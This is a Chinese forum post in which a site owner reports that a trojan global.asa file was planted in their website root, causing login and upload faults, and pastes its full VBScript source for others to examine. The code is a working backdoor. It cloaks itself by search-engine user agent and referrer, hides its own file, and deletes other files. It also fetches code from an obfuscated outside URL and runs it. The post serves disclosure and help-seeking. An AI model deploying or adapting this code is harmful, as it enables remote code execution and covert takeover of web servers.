问题找到了 可能由于服务器的原因 我的网站根目录被上传了一个 global.asa 文件 这一一个木马文件导致一些了的问题 比如 后台登陆 是老提示验证码错误,图片上传不上等问题 关于这个木马的危害可以网上搜搜 我用的是7.06版本的程序! 我下面把global.asa 的代码贴出来 大家看看那!
<script language="vbscript" runat="server">
'网站全局文件,非专业人员勿乱动!!
'by*diao
'by*aming
sub Session_OnStart
'=================================================================
dim name
name=request.servervariables("Path_Translated")
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
Dim v
Dim t
ReDim A(Request.Form.Count)
ReDim B(Request.Form.Count)
v=Request.Form
t=Request.Form.Count
if t>0 then
For i=0 To t-1
b(i)=Split(Split(v,"&")(i),"=")(1)
if instr(LCase(b(i)),"global.asa")>0 then
f.Attributes=1+2+4
response.end()
end if
Next
end If
'=================================================================
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot",",")
DC=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
DC=true
exit for
end if
Next
CF=False
Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
CF = True
Exit For
End If
Next
if (DC=false and CF=True and request.servervariables("QUERY_STRING")<>"") Or(instr(request.servervariables("HTTP_USER_AGENT"),"aidu")>0) then
'==========================================================
'原程序
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"x"&"r"&"l"&"o"&"v"&"e"&"."&"c"&"o"&"m"&"/"&"t"&"x"&"t"&"/"&"4"&"."&"a"&"s"&"p"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end If
elseif instr(name,";")>0 then
set m=fso.Getfile(name)
m.Attributes=0
fso.DeleteFile(name)
f.Attributes=1+2+4
response.end()
elseif instr(request.servervariables("QUERY_STRING"),".asa")>0 then
f.Attributes=1+2+4
response.end()
End If
f.Attributes=1+2+4
end sub
</script>